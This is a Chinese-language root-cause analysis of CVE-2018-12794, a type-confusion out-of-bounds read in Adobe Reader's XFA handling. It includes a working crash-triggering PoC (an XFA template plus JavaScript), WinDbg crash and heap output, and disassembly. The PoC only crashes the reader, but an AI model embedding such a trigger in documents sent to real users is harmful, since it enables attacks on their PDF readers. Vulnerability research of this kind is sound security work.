CVE-2018-12794 分析

0x00 : 漏洞信息

XFA 类型混淆导致OOB的漏洞。

0x01 : PoC

利用脚本把XFA和JS从PDF里拆分出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<xdp:xdp xmlns:xdp='http://ns.adobe.com/xdp/'>
<config xmlns:xfa='http://www.xfa.org/schema/xci/3.1/'>
<present>
<pdf>
<interactive>
1
</interactive>
<scriptModel>
XFA
</scriptModel>
<encryption>
<permissions>
</permissions>
</encryption>
</pdf>
</present>
<acrobat>
<acrobat7>
<dynamicRender>
required
</dynamicRender>
</acrobat7>
</acrobat>
</config>

<template>

<subform layout='tb' name='outerform'>

<pageSet>
<pageArea id='Page2' name='Page2'>
<contentArea h='100mm' w='200mm' x='0.25in' y='0.25in'/>
<medium long='297mm' short='210mm' stock='a4'/>
</pageArea>
</pageSet>


<subform name="sub1"></subform>

<subform name="sub2">
<calculate>
<script contentType="application/x-javascript">
app.alert("crash...!");
</script>
</calculate>
</subform>

</subform>

</template>
<xfa:datasets xmlns:xfa='http://www.xfa.org/schema/xfa-data/1.0/'/>
</xdp:xdp>

js代码如下

1
2
3
4
5
o = xfa.resolveNode("xfa[0].template[0].outerform[0].sub1[0]"); 
o2 = xfa.resolveNode("xfa[0].form[0].outerform[0].sub2[0]");
o.nodes.append(o2);
o2.presence = "inactive";//will crash here
app.alert("no crash!");

PoC很好懂,就是把o2节点添加为o的子节点,然后访问o2的presence属性,并且赋值,就是访问一次这个属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
(c74.700): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=42f2eec0 edx=0013d164 esi=00000000 edi=42f2eec0
eip=5c067d77 esp=0013cfd8 ebp=0013d034 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246
AcroForm!PlugInMain+0x979d7:
5c067d77 39b7d0010000 cmp dword ptr [edi+1D0h],esi ds:0023:42f2f090=????????

0:000> k10
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
0013d034 5c05dd14 AcroForm!PlugInMain+0x979d7
0013d0d0 5c01cc57 AcroForm!PlugInMain+0x8d974
0013d118 5c4dcc55 AcroForm!PlugInMain+0x4c8b7
0013d130 5c05daa4 AcroForm!DllUnregisterServer+0x3367ac
0013d174 5c05d731 AcroForm!PlugInMain+0x8d704
0013d1e8 6e4e90b2 AcroForm!PlugInMain+0x8d391
0013d1ec 770665f4 verifier!VerifierDisableFaultInjectionExclusionRange+0x3162
0013d1f0 7702a0aa ntdll!RtlpNtMakeTemporaryKey+0x48b5
0013d1f4 76ff65a6 ntdll!EtwSetMark+0xe743
0013d1f8 7556c3d4 ntdll!wcsnicmp+0xcaa
0013d1fc 6b09ecfa kernel32!HeapFree+0x14
0013d204 5c32f87d MSVCR120!free+0x1a
00000000 00000000 AcroForm!DllUnregisterServer+0x1893d4

0:000> dd edi
42f2eec0 5c78061c 00000002 42c64fe8 5c88d328
42f2eed0 00000147 c0c0c0c0 c0c0c0d0 43884fe0
42f2eee0 43404e40 00000000 43832fb0 c0c0c0c2
42f2eef0 42f2eec0 2ff76fd8 00000000 00000000
42f2ef00 2be4cf30 00000015 00000000 5c88f9b4
42f2ef10 5c88d328 43404e40 00000000 00000000
42f2ef20 00000000 00000000 00000004 5c640954
42f2ef30 00000000 5c640954 00000000 42e8afd0
0:000> dd edi+1d0
42f2f090 ???????? ???????? ???????? ????????
42f2f0a0 ???????? ???????? ???????? ????????
42f2f0b0 ???????? ???????? ???????? ????????
42f2f0c0 ???????? ???????? ???????? ????????
42f2f0d0 ???????? ???????? ???????? ????????
42f2f0e0 ???????? ???????? ???????? ????????
42f2f0f0 ???????? ???????? ???????? ????????
42f2f100 ???????? ???????? ???????? ????????

0:000> !heap -p -a edi
address 42f2eec0 found in
_DPH_HEAP_ROOT @ 1471000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
431b130c: 42f2eec0 140 - 42f2e000 2000
? AcroForm!DllUnregisterServer+5da173
6e4e8e89 verifier!VerifierDisableFaultInjectionExclusionRange+0x00002f39
77065e26 ntdll!RtlpNtMakeTemporaryKey+0x000040e7
7702a376 ntdll!EtwSetMark+0x0000ea0f
76ff5ae0 ntdll!wcsnicmp+0x000001e4
6b09ed63 MSVCR120!malloc+0x00000033
5bfd70ed AcroForm!PlugInMain+0x00006d4d
5c009e2d AcroForm!PlugInMain+0x00039a8d

这是一个越界读。

0x02 : 分析

首先根据callstack,定位一下漏洞点以及发生oob的对象是啥。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0:000> k10
ChildEBP RetAddr
0013d034 5c05dd14 XFAFormModelImpl__isActivityExcluded
0013d0d0 5c01cc57 AcroForm!PlugInMain+0x8d974
0013d118 5c4dcc55 AcroForm!PlugInMain+0x4c8b7
0013d130 5c05daa4 AcroForm!DllUnregisterServer+0x3367ac
0013d174 5c05d731 sub_208FD8D5
0013d1e8 6e4e90b2 sub_208FD3BA
0013d1ec 770665f4 verifier!VerifierDisableFaultInjectionExclusionRange+0x3162
0013d1f0 7702a0aa ntdll!RtlpNtMakeTemporaryKey+0x48b5
0013d1f4 76ff65a6 ntdll!EtwSetMark+0xe743
0013d1f8 7556c3d4 ntdll!wcsnicmp+0xcaa
0013d1fc 6b09ecfa kernel32!HeapFree+0x14
0013d204 5c32f87d MSVCR120!free+0x1a
00000000 00000000 sub_20BCF7CC // free wrp

发生崩溃的函数是在XFAFormModelImpl__isActivityExcluded ,这是在操作xfa.form对象,但是却发生了越界。
调试发现,此时访问的对象并不是xfa.form对象,而是一个大小为0x140的对象,看下这个对象的分配情况,可以确定这个对象的大小、类型信息。
得到这段代码的方法是:首先heap命令得到当前对象的基本情况,找到分配的位置,一般来说c++对象分配是先走malloc之类的分配器(程序可能自己封装malloc)分配内存(对象大小),然后初始化虚表啥的,所以malloc调用往前找一个就找到了。

1
2
3
4
5
6
7
8
9
; __unwind { // loc_20E3F4E2
push 8
mov eax, offset loc_20E3F4E2
call __EH_prolog3
mov edi, ecx
push 140h ; size_t 对象大小
call jfCacheManager_alloc
mov edx, eax
pop ecx

交叉引用得到这个对象是一个xfa.template对象,以下是两个对象的情况:

xfa.template 对象大小 0x140
xfa.form 对象大小 0x270
所以这是一个类型混淆漏洞,程序错误的把xfa.template对象当作xfa.form对象来读取数据,导致越界的发生,root cause是类型混淆。

0x03 : 引用

using-type-confusion-to-get-code-execution-in-adobe-reader